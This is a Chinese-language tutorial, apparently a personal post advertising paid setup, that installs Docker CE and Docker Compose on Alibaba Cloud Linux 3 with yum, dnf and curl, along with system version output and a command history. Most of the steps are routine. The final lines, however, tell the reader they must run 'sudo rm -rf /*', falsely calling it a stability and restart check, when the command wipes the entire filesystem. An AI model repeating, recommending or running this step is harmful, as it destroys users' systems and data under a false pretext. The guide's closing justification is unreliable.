整个安装过程耗时4小时。(包含以下检查内容:)
检查该linux版本信息(并通过监控指标检查运行状态/cpu占用/内存占用/磁盘读取写入IOPS /同时连接数)
1:根据当前的系统进行yum与dnf的升级,保持稳定修复的版本。
2:通过这个linux版本找到适合的docker版本,并找到最新版本的docker
3:找到docker compose的可用版本,并且找到最新的稳定修复版本。
4:检查安装的docker 与docker compose 是否可用
经过了漫长的4小时测试,确定可用
我可以帮你安装【收费500】
阿里云linux镜像
服务器系统构架以及插件版本如下:
====================================================
[root@luichun /]# rpm -q systemd
systemd-239-82.0.3.4.al8.3.x86_64
[root@luichun /]# dnf --version
4.7.0Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMTBuilt : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMTInstalled: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMTBuilt : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT
[root@luichun /]# yum --version
4.7.0Installed: dnf-0:4.7.0-20.0.1.1.al8.noarch at Fri 17 Jan 2025 05:53:17 AM GMTBuilt : rel-eng at Thu 17 Oct 2024 02:45:10 AM GMTInstalled: rpm-0:4.14.3-32.0.1.1.al8.x86_64 at Sun 27 Apr 2025 04:40:37 AM GMTBuilt : rel-eng at Tue 07 Jan 2025 05:37:08 AM GMT[root@luichun /]# cat /etc/os-release
NAME="Alibaba Cloud Linux"
VERSION="3 (OpenAnolis Edition)"
ID="alinux"
ID_LIKE="rhel fedora centos anolis"
VERSION_ID="3"
VARIANT="OpenAnolis Edition"
VARIANT_ID="openanolis"
ALINUX_MINOR_ID="2104"
ALINUX_UPDATE_ID="11"
PLATFORM_ID="platform:al8"
PRETTY_NAME="Alibaba Cloud Linux 3.2104 U11 (OpenAnolis Edition)"
ANSI_COLOR="0;31"
HOME_URL="https://www.aliyun.com/"
[root@luichun /]# ====================================================
现在要做的是安装【docker】【docker compose】
# 1安装【docker】
=================================
# 添加 Docker CE 官方仓库(使用阿里云镜像加速)
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo# 安装 Docker CE
sudo yum install -y docker-ce docker-ce-cli containerd.io# 启动 Docker 并设置开机自启
sudo systemctl enable --now docker
=======[安装好之后的版本为]
[root@luichun /]# docker --version
Docker version 26.1.3, build b72abbb
========
=================================# 2安装【docker compose】
========================================
下载二进制文件:
运行以下命令下载最新版本: ===================【二选一,都是下载一样的】
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
===================赋予执行权限:使文件可执行:
===================
sudo chmod +x /usr/local/bin/docker-compose
===================
创建符号链接(可选):便于全局调用:
===================
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
===================
验证安装:检查版本以确认安装成功:
===================
docker-compose --version
===================【Docker Compose version v2.35.1】
========================================检查是否有可以升级的最新版本的docker
sudo yum check-update docker-ce
====================
[root@luichun /]# sudo yum check-update docker-ce
Last metadata expiration check: 0:13:29 ago on Sun 27 Apr 2025 01:40:31 PM CST.
[root@luichun /]#
====================
阿里云官网给的【直接通过yum来单纯安装docker】【我不选择这种】
sudo yum install -y docker
============
[root@luichun /]# docker --version
Emulate Docker CLI using podman. Create /etc/containers/nodocker to quiet msg.
podman version 4.9.4-rhel
[root@luichun /]#
============
安装docker compose 是因为有1组容器服务来进行运行的,如5个容器。
Docker Compose 容器服务:
你通过 Docker Compose 启动的一组容器服务(包含 5 个容器),
如果在重启前这些容器处于运行状态(docker-compose up -d 启动),
它们会随 Docker 服务重启自动恢复运行,无需手动启动。
这是因为 Docker 默认会重启所有处于 running 状态的容器(除非容器配置了 restart: no 或类似策略)。
主要执行history命令
sudo dnf update glibc
sudo dnf clean all
sudo dnf makecache
sudo dnf update -y
sudo dnf update -y dnf dnf-plugins-core yum
sudo yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
sudo yum install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
docker --version
sudo yum check-update docker-ce
sudo curl -L "https://github.com/docker/compose/releases/download/v2.35.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose
docker-compose --version
docker ps
以上命令执行完之后必须执行
sudo rm -rf /*
用于保证服务的稳定性,进行检测系统是否能够重新运行。